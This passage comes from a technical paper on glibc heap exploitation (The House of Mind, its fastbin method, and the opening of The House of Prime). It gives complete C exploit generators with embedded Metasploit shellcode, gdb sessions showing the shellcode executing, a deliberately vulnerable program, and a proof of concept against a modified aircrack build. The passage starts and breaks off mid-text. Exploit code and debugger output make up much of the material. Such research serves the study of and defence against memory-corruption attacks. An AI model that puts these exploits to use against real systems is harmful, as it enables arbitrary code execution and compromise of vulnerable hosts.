When the application stopped before the first free(), we can see our
|
||
|
buffer seems to be well formed: [A x 8] [0000] [102h x 8].
|
||
|
|
||
|
But once the first call to free () is completed, as we said, the first 8
|
||
|
bytes are trashed with memory addresses. Most surprising is that the
|
||
|
memory 0x0804a0010(av) + 4, is set to zero (0x00000000).
|
||
|
|
||
|
This position should be "av->max_fast", which being zero and not having
|
||
|
NONCONTIGUOUS_BIT bit enabled, dumps the error above. This seems happens
|
||
|
with the following instructions:
|
||
|
|
||
|
# define mutex_unlock(m) (*(m) = 0)
|
||
|
|
||
|
... that is executed to the end of "_int_free()" with:
|
||
|
|
||
|
(void *)mutex_unlock(&ar_ptr->mutex);
|
||
|
|
||
|
Anyway, if someone puts a 0 for us. What happens if we do that ar_ptr
|
||
|
points to 0x0804a014?
|
||
|
|
||
|
(gdb) x/16x 0x0804a014
|
||
|
// Mutex // max_fast ?
|
||
|
0x804a014: 0x00000000 0x00000102 0x00000102 0x00000102
|
||
|
0x804a024: 0x00000102 0x00000102 0x00000102 0x00000102
|
||
|
0x804a034: 0x08049648 0x08049648 0x08049648 0x08049648
|
||
|
0x804a044: 0x08049648 0x08049648 0x08049648 0x08049648
|
||
|
|
||
|
So we can save 8 bytes of garbage in the exploit and the hardcoded value
|
||
|
of "mutex", and leave to free () to do the rest for us.
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@mac:~$ gdb -q ./heap1
|
||
|
(gdb) run < file
|
||
|
Starting program: /home/blackngel/heap1 < file
|
||
|
ptr found at 0x804a008
|
||
|
good heap allignment found on malloc() 724 (0x81002a0)
|
||
|
|
||
|
Program received signal SIGSEGV, Segmentation fault.
|
||
|
0x081002b2 in ?? ()
|
||
|
(gdb) x/16x 0x08100298
|
||
|
0x8100298: 0x90900ceb 0x00000409 0x08049648 0x0804a044
|
||
|
0x81002a8: 0x00000000 0x00000000 0x5bf42474 0x5e137381
|
||
|
0x81002b8: 0x83426ac9 0xf4e2fceb 0xdb32c234 0x6f02af0c
|
||
|
0x81002c8: 0x2a8d403d 0x4202ba71 0x2b08e636 0x10894030
|
||
|
(gdb)
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
It seems that the second chunk "p", again suffer the wrath of free().
|
||
|
PREV_SIZE field is OK, SIZE field is OK, but the 8 NOPS are trashed with
|
||
|
two memory addresses and 8 bytes NULL.
|
||
|
|
||
|
Note that after the call to "unsorted_chunks()", we have two sentences
|
||
|
like these:
|
||
|
|
||
|
p->bk = bck;
|
||
|
p->fd = fwd;
|
||
|
|
||
|
It is clear that both pointers are overwritten with the address of the
|
||
|
previous and next chunks to our overflowed chunk "p".
|
||
|
|
||
|
What happens if we place 16 NOPS?
|
||
|
|
||
|
[-----]
|
||
|
/*
|
||
|
* K-sPecial exploit modified by blackngel
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
|
||
|
/* linux_ia32_exec - CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub
|
||
|
http://metasploit.com */
|
||
|
unsigned char scode[] =
|
||
|
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
|
||
|
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
|
||
|
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
|
||
|
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
|
||
|
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
|
||
|
|
||
|
int main (void) {
|
||
|
|
||
|
int i, j;
|
||
|
|
||
|
for (i = 0; i < 44 / 4; i++)
|
||
|
fwrite("\x02\x01\x00\x00", 4, 1, stdout); /* av->max_fast-12 */
|
||
|
|
||
|
for (i = 0; i < 984 / 4; i++)
|
||
|
fwrite("\x48\x96\x04\x08", 4, 1, stdout); /* DTORS_END - 8 */
|
||
|
|
||
|
for (i = 0; i < 721; i++) {
|
||
|
fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* PRESERVE SIZE */
|
||
|
for (j = 0; j < 1028; j++)
|
||
|
putchar(0x41); /* PADDING */
|
||
|
}
|
||
|
fwrite("\x09\x04\x00\x00", 4, 1, stdout);
|
||
|
|
||
|
for (i = 0; i < (1024 / 4); i++)
|
||
|
fwrite("\x14\xa0\x04\x08", 4, 1, stdout);
|
||
|
|
||
|
fwrite("\xeb\x0c\x90\x90", 4, 1, stdout); /* prev_size -> jump 0x0c */
|
||
|
|
||
|
fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size -> NON_MAIN_ARENA */
|
||
|
|
||
|
fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
|
||
|
"\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
|
||
|
|
||
|
fwrite(scode, sizeof(scode), 1, stdout); /* SHELLCODE */
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ ./exploit > file
|
||
|
blackngel@linux:~$ ./heap1 < file
|
||
|
ptr found at 0x804a008
|
||
|
good heap allignment found on malloc() 724 (0x81002a0)
|
||
|
uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout),
|
||
|
24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),
|
||
|
46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),
|
||
|
117(powerdev),1000(blackngel),1001(compiler)
|
||
|
blackngel@linux:~$
|
||
|
|
||
|
We have succeeded! Up to this point, you could think that the first of
|
||
|
conditions for The House of Mind (a piece of memory allocated in an
|
||
|
address like 0x08100000) seems impossible from a practical point of view.
|
||
|
|
||
|
But this must be considered again for two reasons:
|
||
|
|
||
|
1) You can to allocate a big amount of memory.
|
||
|
2) The user can control this amount.
|
||
|
|
||
|
Is that true?
|
||
|
|
||
|
Well, yes, if we go back in time. Even at the same vulnerability in
|
||
|
is_modified() function of CVS. We can see the function corresponding to
|
||
|
the command "entry" of that service:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
static void serve_entry (arg)
|
||
|
char *arg;
|
||
|
{
|
||
|
struct an_entry *p; char *cp;
|
||
|
|
||
|
[...]
|
||
|
cp = arg;
|
||
|
[...]
|
||
|
p = xmalloc (sizeof (struct an_entry));
|
||
|
cp = xmalloc (strlen (arg) + 2); strcpy (cp, arg); p->next = entries;
|
||
|
p->entry = cp;
|
||
|
entries = p;
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
How vl4d1m1r said, the heap layout will looked something like this:
|
||
|
|
||
|
[an_entry][buffer][an_entry][buffer]...[Wilderness]
|
||
|
|
||
|
These chunks will not be free()ed until the function
|
||
|
server_write_entries() is called with the "noop" command. Note that in
|
||
|
addition to controlling the number of allocated chunks, you can control
|
||
|
the length too.
|
||
|
|
||
|
You can find this theory much better explained in the article "The Art of
|
||
|
Exploitation: Come on back to exploit [10] published by vl4d1m1r of
|
||
|
Ac1dB1tch3z in Phrack 64.
|
||
|
|
||
|
The old exploit used the technique unlink () to accomplish its purpose.
|
||
|
This was for the glibc versions where this feature was not yet patched.
|
||
|
|
||
|
I'm not saying that The House of Mind is applicable to this vulnerability,
|
||
|
but rather that meets certain conditions. It would be an exercise for the
|
||
|
more advanced reader.
|
||
|
|
||
|
I have checked this House in a Linux distro with GLIBC 2.8.90.
|
||
|
|
||
|
We arrived, after a long journey, to The House of Mind.
|
||
|
|
||
|
|
||
|
|
||
|
<< Si el unico instrumento de que se
|
||
|
dispone es un martillo, todo acaba
|
||
|
pareciendo un clavo. >>
|
||
|
|
||
|
[ Lotfi Zadeh ]
|
||
|
|
||
|
|
||
|
|
||
|
--------------------
|
||
|
---[ 4.1.1 ---[ FASTBIN METHOD ]---
|
||
|
--------------------
|
||
|
|
||
|
As a new technique, I established in this paper a practical solution to
|
||
|
"Fastbin method" in The House of Mind, which was only exposed of
|
||
|
theoretical mode in the papers of Phantasmal and K-sPecial, and also
|
||
|
contained certain elements which were wrongly interpreted.
|
||
|
|
||
|
Both, K-special and Phantasmal said practically the same in their
|
||
|
documents about this method. The basic idea was to trigger following code:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
|
||
|
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|
||
|
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||
|
>= av->system_mem, 0))
|
||
|
{
|
||
|
errstr = "free(): invalid next size (fast)";
|
||
|
goto errout;
|
||
|
}
|
||
|
|
||
|
set_fastchunks(av);
|
||
|
fb = &(av->fastbins[fastbin_index(size)]);
|
||
|
if (__builtin_expect (*fb == p, 0))
|
||
|
{
|
||
|
errstr = "double free or corruption (fasttop)";
|
||
|
goto errout;
|
||
|
}
|
||
|
printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
|
||
|
p->fd = *fb;
|
||
|
*fb = p;
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
As this code is located after the first integrity check in "_int_free()",
|
||
|
the main advantage is that we should not worry about the following tests.
|
||
|
This may appear to be a task easier than previous method, but in reality
|
||
|
it is not.
|
||
|
|
||
|
The core of this technique is in place "fb" to the address of an entry of
|
||
|
".dtors" or "GOT". Thanks to "The House of Prime" (first house discussed
|
||
|
in Malloc Maleficarum), we know how to accomplish this.
|
||
|
|
||
|
If we hack the "size" field of the overflowed chunk passed to free() and
|
||
|
sets it to 8, "fastbin_index()" returned the following value:
|
||
|
|
||
|
#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
|
||
|
|
||
|
(8 >> 3) - 2 = -1
|
||
|
|
||
|
Then:
|
||
|
|
||
|
&(av->fastbins[-1])
|
||
|
|
||
|
And as in an arena structure (malloc_state) the previous item to
|
||
|
fastbins[] matrix is "av->maxfast" (they are contiguous), the address
|
||
|
where is this value will be placed in "fb".
|
||
|
|
||
|
In "*fb = p", the content of this address will be overwritten with the
|
||
|
address of the liberated chunk "p", which as before should must contain
|
||
|
a "JMP" sentence to reach the Shellcode.
|
||
|
|
||
|
Seen this, if you want to use ".dtors", you should make that "ar_ptr"
|
||
|
points to ".dtors" address in "public_free()", so that this address will
|
||
|
be the fakearena and "av->max_fast (av + 4)" will be equal to ".dtors +
|
||
|
4". Then it will be overwritten with the address of "p".
|
||
|
|
||
|
But to achieve this you have to go through a hard path. Let's see the
|
||
|
conditions that we must meet:
|
||
|
|
||
|
1) The size of chunk must be less than "av->maxfast":
|
||
|
|
||
|
if ((unsigned long)(size) <= (unsigned long)(av->max_fast))
|
||
|
|
||
|
This is relatively the easiest, because we said that the size will be
|
||
|
equal to "8" and "av->max_fast" will be the address of a destructor.
|
||
|
It should be clear that in this case "DTORS_END" is not valid because
|
||
|
it is always "\x00\x00\x00\x00" and never will be greater than "size".
|
||
|
It seems then that the most effective is to make use of the Global
|
||
|
Offset Table (GOT).
|
||
|
|
||
|
We must be aware that we say that "size" must be 8, but in order to
|
||
|
modify "ar_ptr", as in the previous technique, then NON_MAIN_ARENA bit
|
||
|
(third least significant bit) must be set. So, I think, "size" should
|
||
|
actually be:
|
||
|
|
||
|
8 = 1000b | 100b = 4 | 8 + NON_MAIN_ARENA = 12 = [0x0c]
|
||
|
|
||
|
With PREV_INUSE bit set: 1101b = [0x0d]
|
||
|
|
||
|
|
||
|
2) The size of contiguous chunk (next chunk) to "p" must be greater
|
||
|
than "8":
|
||
|
|
||
|
__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|
||
|
|
||
|
This is no problem, right?
|
||
|
|
||
|
3) The same chunk, at time, must be less than "av->system_mem":
|
||
|
|
||
|
__builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)
|
||
|
|
||
|
|
||
|
This is perhaps the most complicated step. Once established ar_ptr(av)
|
||
|
in ".dtors" or "GOT", the "system_mem" item in "malloc_state" structure
|
||
|
is beyond 1848 bytes.
|
||
|
|
||
|
GOT is almost contiguous to DTORS. In small applications the GOT table
|
||
|
also is relatively small. For this reason it is normal to find in the
|
||
|
av->system_mem position a lot of zero bytes. Let's see:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ objdump -s -j .dtors ./heap1
|
||
|
...
|
||
|
Contents of section .dtors:
|
||
|
8049650 ffffffff 00000000
|
||
|
........
|
||
|
blackngel@mac:~$ gdb -q ./heap1
|
||
|
(gdb) break main
|
||
|
Breakpoint 1 at 0x8048442
|
||
|
(gdb) run < file
|
||
|
...
|
||
|
Breakpoint 1, 0x08048442 in main ()
|
||
|
(gdb) x/8x 0x08049650
|
||
|
0x8049650 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000 0x00000001
|
||
|
0x8049660 <_DYNAMIC+4>: 0x00000010 0x0000000c 0x0804830c 0x0000000d
|
||
|
(gdb) x/8x 0x08049650 + 1848
|
||
|
0x8049d88: 0x00000000 0x00000000 0x00000000 0x00000000
|
||
|
0x8049d98: 0x00000000 0x00000000 0x00000000 0x00000000
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
This technique appears to be only apply to large programs. Unless,
|
||
|
as Phantasmal said, we can use the stack. How?
|
||
|
|
||
|
If "ar_ptr" is set to EBP address in a function, then "av->max_fast"
|
||
|
will be EIP, which may be overwritten with the address of the chunk
|
||
|
"p", and you already know how continues.
|
||
|
|
||
|
Here is ended the theory presented in the two mentioned papers. But
|
||
|
unfortunately there is something that they forgot... at least it is
|
||
|
something that quite surprised me from K-sPecial.
|
||
|
|
||
|
We learned about the previous attack, that "av->mutex", which is the first
|
||
|
item in an "arena" structure, should be equal to 0. K-special, warned us
|
||
|
that otherwise, "free()" would remain in an infinite loop...
|
||
|
|
||
|
What about DTORS then?
|
||
|
|
||
|
".dtors" will be always "0xffffffff", otherwise it will be a destructor
|
||
|
address, but never 0.
|
||
|
|
||
|
You can find "0x00000000" four bytes behind of .dtors, but overwrite
|
||
|
"0xffffffff" has no effect.
|
||
|
|
||
|
What happens then with GOT?
|
||
|
|
||
|
I do not think that you can found 0x00000000 values between each item
|
||
|
within the GOT.
|
||
|
|
||
|
Solutions?
|
||
|
|
||
|
>From the beginning, I only explored one possible solution:
|
||
|
|
||
|
The main goal would be to use the stack, as mentioned earlier. But the
|
||
|
difference is that we should have a buffer overflow before that allow
|
||
|
overwrite EBP with 0 bytes, so we have:
|
||
|
|
||
|
EBP = av->mutex = 0x00000000
|
||
|
EIP = av->max_fast = &(p)
|
||
|
*p = "jmp 0x0c"
|
||
|
*p + 4 = 0x0c o 0x0d
|
||
|
*p + 8 = NOPS + SHELLCODE
|
||
|
|
||
|
But a little magic can do wonders...
|
||
|
|
||
|
|
||
|
----------------
|
||
|
FINAL SOLUTION
|
||
|
----------------
|
||
|
|
||
|
Phantasmal and K-sPecial thought to use only "av->maxfast" to overwrite
|
||
|
then this memory location with the address of the chunk "p".
|
||
|
|
||
|
But because we control the entire arena "av", can we afford make a new
|
||
|
analysis of "fastbin_index()" for a size argument of 16 bytes:
|
||
|
|
||
|
(16 >> 3) - 2 = 0
|
||
|
|
||
|
So we obtain: fb = &(av->fastbins [0]), and if we get this, we can
|
||
|
use the stack to overwrite EIP. How?
|
||
|
|
||
|
If our vulnerable code is into fvuln() function, EBP and EIP will be
|
||
|
pushed in the stack at the prologue, and what there is behind EBP? If no
|
||
|
user data then usually you can find a "0x00000000" value. If we use
|
||
|
"av->fastbins[0]" and not "av->maxfast", we have the following:
|
||
|
|
||
|
[ 0xRAND_VAL ] <-> av + 1848 = av->system_mem
|
||
|
............
|
||
|
[ EIP ] <-> av->fastbins[0]
|
||
|
[ EBP ] <-> av->max_fast
|
||
|
[ 0x00000000 ] <-> av->mutex
|
||
|
|
||
|
|
||
|
In "av + 1848" is normal to find addresses or random values for
|
||
|
"av->system_mem" and so we can pass the checks to reach the final
|
||
|
code of "fastbin".
|
||
|
|
||
|
The "size" field of "p" must be 16 with NON_MAIN_ARENA and PREV_INUSE
|
||
|
bits enabled. Then:
|
||
|
|
||
|
16 = 10000 | NON_MAIN_ARENA and PREV_INUSE = 101 | SIZE = 10101 = 0x15h
|
||
|
|
||
|
|
||
|
And we can control the "size" field of the next chunk to be greater than
|
||
|
"8" and less than "av->system_mem". If you look at the code above you will
|
||
|
note that this field is calculated from the offset of "p", therefore,
|
||
|
this field is virtually in "p + 0x15", which is an offset of 21 bytes.
|
||
|
|
||
|
If we write a value of "0x09" in that position it will be perfect.
|
||
|
|
||
|
But this value will be in the middle of our NOPS filler and we should make
|
||
|
a small change in the "JMP" sentence in order to jump farthest. Something
|
||
|
like 16 bytes will be sufficient.
|
||
|
|
||
|
For the Proof of Concept, I modified "aircrack-2.41" adding in main() the
|
||
|
following code:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
int fvuln()
|
||
|
{
|
||
|
// Make something stupid here.
|
||
|
}
|
||
|
|
||
|
int main( int argc, char *argv[] )
|
||
|
{
|
||
|
int i, n, ret;
|
||
|
char *s, buf[128];
|
||
|
struct AP_info *ap_cur;
|
||
|
|
||
|
fvuln();
|
||
|
...
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
The next code exploit the vulnerability:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
/*
|
||
|
* FastBin Method - exploit
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
|
||
|
/* linux_ia32_exec - CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub
|
||
|
http://metasploit.com */
|
||
|
unsigned char scode[] =
|
||
|
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
|
||
|
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
|
||
|
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
|
||
|
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
|
||
|
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
|
||
|
|
||
|
int main (void) {
|
||
|
|
||
|
int i, j;
|
||
|
|
||
|
for (i = 0; i < 1028; i++) /* FILLER */
|
||
|
putchar(0x41);
|
||
|
|
||
|
for (i = 0; i < 518; i++) {
|
||
|
fwrite("\x09\x04\x00\x00", 4, 1, stdout);
|
||
|
for (j = 0; j < 1028; j++)
|
||
|
putchar(0x41);
|
||
|
}
|
||
|
fwrite("\x09\x04\x00\x00", 4, 1, stdout);
|
||
|
|
||
|
for (i = 0; i < (1024 / 4); i++)
|
||
|
fwrite("\x34\xf4\xff\xbf", 4, 1, stdout); /* EBP - 4 */
|
||
|
|
||
|
fwrite("\xeb\x16\x90\x90", 4, 1, stdout); /* JMP 0x16 */
|
||
|
|
||
|
fwrite("\x15\x00\x00\x00", 4, 1, stdout); /* 16 + N_M_A + P_INU */
|
||
|
|
||
|
fwrite("\x90\x90\x90\x90" \
|
||
|
"\x90\x90\x90\x90" \
|
||
|
"\x90\x90\x90\x90" \
|
||
|
"\x09\x00\x00\x00" \ /* nextchunk->size */
|
||
|
"\x90\x90\x90\x90", 20, 1, stdout);
|
||
|
|
||
|
|
||
|
fwrite(scode, sizeof(scode), 1, stdout); /* THE MAGIC CODE */
|
||
|
|
||
|
return(0);
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Let's now see it in action:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
blackngel@linux:~$ gcc ploit1.c -o ploit
|
||
|
blackngel@linux:~$ ./ploit > file
|
||
|
blackngel@linux:~$ gdb -q ./aircrack
|
||
|
|
||
|
(gdb) disass fvuln
|
||
|
Dump of assembler code for function fvuln:
|
||
|
.........
|
||
|
.........
|
||
|
0x08049298 <fvuln+184>: call 0x8048d4c <free@plt>
|
||
|
0x0804929d <fvuln+189>: movl $0x8056063,(%esp)
|
||
|
0x080492a4 <fvuln+196>: call 0x8048e8c <puts@plt>
|
||
|
0x080492a9 <fvuln+201>: mov %esi,(%esp)
|
||
|
0x080492ac <fvuln+204>: call 0x8048d4c <free@plt>
|
||
|
0x080492b1 <fvuln+209>: movl $0x8056075,(%esp)
|
||
|
0x080492b8 <fvuln+216>: call 0x8048e8c <puts@plt>
|
||
|
0x080492bd <fvuln+221>: add $0x1c,%esp
|
||
|
0x080492c0 <fvuln+224>: xor %eax,%eax
|
||
|
0x080492c2 <fvuln+226>: pop %ebx
|
||
|
0x080492c3 <fvuln+227>: pop %esi
|
||
|
0x080492c4 <fvuln+228>: pop %edi
|
||
|
0x080492c5 <fvuln+229>: pop %ebp
|
||
|
0x080492c6 <fvuln+230>: ret
|
||
|
End of assembler dump.
|
||
|
|
||
|
(gdb) break *fvuln+204 /* Before second free() */
|
||
|
Breakpoint 1 at 0x80492ac: file linux/aircrack.c, line 2302.
|
||
|
|
||
|
(gdb) break *fvuln+209 /* After second free() */
|
||
|
Breakpoint 2 at 0x80492b1: file linux/aircrack.c, line 2303.
|
||
|
|
||
|
(gdb) run < file
|
||
|
Starting program: /home/blackngel/aircrack < file
|
||
|
[Thread debugging using libthread_db enabled]
|
||
|
ptr found at 0x807d008
|
||
|
good heap allignment found on malloc() 521 (0x8100048)
|
||
|
|
||
|
END fread() /* tests when free () freezing (mutex != 0) */
|
||
|
|
||
|
END first free() /* tests when free () freezing (mutex != 0) */
|
||
|
[New Thread 0xb7e5b6b0 (LWP 8312)]
|
||
|
[Switching to Thread 0xb7e5b6b0 (LWP 8312)]
|
||
|
|
||
|
Breakpoint 1, 0x080492ac in fvuln () at linux/aircrack.c:2302
|
||
|
warning: Source file is more recent than executable.
|
||
|
2302 free(ptr2);
|
||
|
|
||
|
/* STACK DUMP */
|
||
|
(gdb) x/4x 0xbffff434 // av->max_fast // av->fastbins[0]
|
||
|
0xbffff434: 0x00000000 0xbffff518 0x0804ce52 0x080483ec
|
||
|
|
||
|
(gdb) x/x 0xbffff434 + 1848 /* av->system_mem */
|
||
|
0xbffffb6c: 0x3d766d77
|
||
|
|
||
|
(gdb) x/4x 0x08100048-8+20 /* nextchunk->size */
|
||
|
0x8100054: 0x00000009 0x90909090 0xe983c931 0xd9eed9f4
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
Breakpoint 2, fvuln () at linux/aircrack.c:2303
|
||
|
2303 printf("\nEND second free()\n");
|
||
|
|
||
|
(gdb) x/4x 0xbffff434 // EIP = &(p)
|
||
|
0xbffff434: 0x00000000 0xbffff518 0x08100040 0x080483ec
|
||
|
(gdb) c
|
||
|
Continuing.
|
||
|
|
||
|
END second free()
|
||
|
[New process 8312]
|
||
|
uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout),
|
||
|
24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),
|
||
|
46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),
|
||
|
117(powerdev),1000(blackngel),1001(compiler)
|
||
|
|
||
|
Program exited normally.
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
The advantage of this method is that it does not touch at any time the EBP
|
||
|
register, and thus we can skip some protection to BoF.
|
||
|
|
||
|
It is also noteworthy that the two methods presented here, in The House of
|
||
|
Mind, are still applicable in the most recent versions of glibc, I have
|
||
|
checked it with the latest version of GLIBC 2.8.90.
|
||
|
|
||
|
This time we have arrived, walking with lead foot and after a long
|
||
|
journey, to The House of Mind.
|
||
|
|
||
|
|
||
|
|
||
|
<< Solo existen 10 tipos de personas: los que
|
||
|
saben binario y los que no. >>
|
||
|
|
||
|
[ XXX ]
|
||
|
|
||
|
|
||
|
|
||
|
-----------------------
|
||
|
---[ 4.1.2 ---[ av->top NIGHTMARE ]---
|
||
|
-----------------------
|
||
|
|
||
|
Once I had completed the study of The House of Mind, tracking down a
|
||
|
little more code in search of other possible attack vectors, I found
|
||
|
something like this at _int_free ():
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
/*
|
||
|
If the chunk borders the current high end of memory,
|
||
|
consolidate into top
|
||
|
*/
|
||
|
|
||
|
else {
|
||
|
size += nextsize;
|
||
|
set_head(p, size | PREV_INUSE);
|
||
|
av->top = p;
|
||
|
check_chunk(av, p);
|
||
|
}
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
Since we control the arena "av", we could place it in a certain location
|
||
|
of the stack, such that av->top coincide exactly with a saved EIP.
|
||
|
|
||
|
At this point, EIP would be overwritten with the address of our chunk "p"
|
||
|
overflowed. Then one arbitrary code execution could be triggered.
|
||
|
|
||
|
But my intentions were soon frustrated. To achieve execution of this code,
|
||
|
in a controlled environment, we should meet one impossible condition:
|
||
|
|
||
|
if (nextchunk != av->top) {
|
||
|
...
|
||
|
}
|
||
|
|
||
|
This only happens when the chunk "p" that will be free()ed, is contiguous
|
||
|
to the highest chunk, the Wilderness.
|
||
|
|
||
|
At some point you might think that you control the value of av->top, but
|
||
|
remember that once you place av in the stack, the control is passed to
|
||
|
random values in memory, and the current value of EIP never will be equal
|
||
|
to "nextchunk" unless it is possible one classic stack-overflow, then I
|
||
|
don't know that you do reading this article...
|
||
|
|
||
|
That I just want to prove, that for better or for worse, all possible ways
|
||
|
should be examined carefully.
|
||
|
|
||
|
|
||
|
|
||
|
<< Hasta ahora las masas han ido
|
||
|
siempre tras el hechizo. >>
|
||
|
|
||
|
[ K. Jaspers ]
|
||
|
|
||
|
|
||
|
|
||
|
------------------------
|
||
|
---[ 4.2 ---[ THE HOUSE OF PRIME ]---
|
||
|
------------------------
|
||
|
|
||
|
Thus seen to date, I do not want to dwell too much. The House of Prime is,
|
||
|
unquestionably, one of the most elaborated techniques in Malloc
|
||
|
Maleficarum . The result of a virtual adept.
|
||
|
|
||
|
However, as mentioned Phantasmal well, it is the least useful of all them
|
||
|
at first. While bearing in mind that The House of Mind requires a chunk of
|
||
|
memory located in 0x08100000, this should not be left aside.
|
||
|
|
||
|
To perform this technique will be needed tow calls to free() over two
|
||
|
chunks of memory that should be under designer's control, and one future
|
||
|
call to "malloc ()".
|
||
|
|
||
|
The goal here, it sould be clear, it is not overwrite any memory address
|
||
|
(even if it's necessary to completion of the technique), but make that
|
||
|
one call to "malloc()" returns an arbitrary memory address. Then, if we
|
||
|
can control this area doing that it will fall in the stack, we could take
|
||
|
total control of application.
|
||
|
|
||
|
A final requirement is that the designer must control what is written in
|
||
|
this allocated chunk, so if we put it on the stack, relatively close to
|
||
|
EIP, this register can be overwritten with a arbitrary value. And you
|
||
|
already know as follows...
|
||
|
|
||
|
Let's see a vulnerable program:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <string.h>
|
||
|
#include <stdlib.h>
|
||
|
|
||
|
void fvuln(char *str1, char *str2, int age)
|
||
|
{
|
||
|
int local_age;
|
||
|
char buffer[64];
|
||
|
char *ptr = malloc(1024);
|
||
|
char *ptr1 = malloc(1024);
|
||
|
char *ptr2 = malloc(1024);
|
||
|
char *ptr3;
|
||
|
|
||
|
local_age = age;
|
||
|
strncpy(buffer, str1, sizeof(buffer)-1);
|
||
|
|
||
|
printf("\nptr found at [ %p ]", ptr);
|
||
|
printf("\nptr1ovf found at [ %p ]", ptr1);
|
||
|
printf("\nptr2ovf found at [ %p ]\n", ptr2);
|
||
|
|
||
|
printf("Enter a description: ");
|
||
|
fread(ptr, 1024 * 5, 1, stdin);
|
||
|
|
||
|
free(ptr1);
|
||
|
printf("\nEND free(1)\n");
|
||
|
free(ptr2);
|
||
|
printf("\nEND free(2)\n");
|
||
|
|
||
|
ptr3 = malloc(1024);
|
||
|
printf("\nEND malloc()\n");
|
||
|
strncpy(ptr3, str2, 1024-1);
|
||
|
|
||
|
printf("Your name is %s and you are %d", buffer, local_age);
|
||
|
}
|
||
|
|
||
|
int main(int argc, char *argv[])
|
||
|
{
|
||
|
if(argc < 4) {
|
||
|
printf("Usage: ./hop name last-name age");
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
fvuln(argv[1], argv[2], atoi(argv[3]));
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
To start, we need to control the header of a first chunk that will be
|
||
|
passed to free(), so that when we trigger a first call to "free()", the
|
||
|
same code that in the "FastBin Method" will be used, but this time the
|
||
|
size field of the chunk has to be "8", and obtain:
|
||
|
|
||
|
fastbin_index(8) ((((unsigned int)(8)) >> 3) - 2) = -1
|
||
|
|
||
|
Then:
|
||
|
|
||
|
fb = &(av->fastbins[-1]) = &av->max_fast;
|
||
|
|
||
|
In the last sentence: (*fb = p), av-> max_fast will be overwritten with
|
||
|
the address of our chunk being free()'d.
|
||
|
|
||
|
The result is very evident, from that moment we can run the same piece of
|
||
|
code in free() whenever the size of chunk that will be passed to free()
|
||
|
is less than the value of the chunk address "p" previously free()'d.
|
||
|
|
||
|
Typically: av->max_fast = 0x00000048, and now is 0x080YYYYY. What is
|
||
|
more than you need.
|
||
|
|
||
|
To pass the integrity chesks of the first free() call, we need these
|
||
|
sizes:
|
||
|
|
||
|
chunk "p" -> 8 (0x9h if PREV_INUSE bit is set).
|
||
|
nextchunk -> 10h is a good value ( 8 < "0x10h" < av->system_mem )
|
||
|
|
||
|
So the exploit would start with something like this:
|
||
|
|
||
|
[-----]
|
||
|
|
||
|
int main (void) {
|
||
|
|
||
|
int i, j;
|
||
|
|
||
|
for (i = 0; i < 1028; i++) /* FILLER */
|
||
|
putchar(0x41);
|
||
|
|
||
|
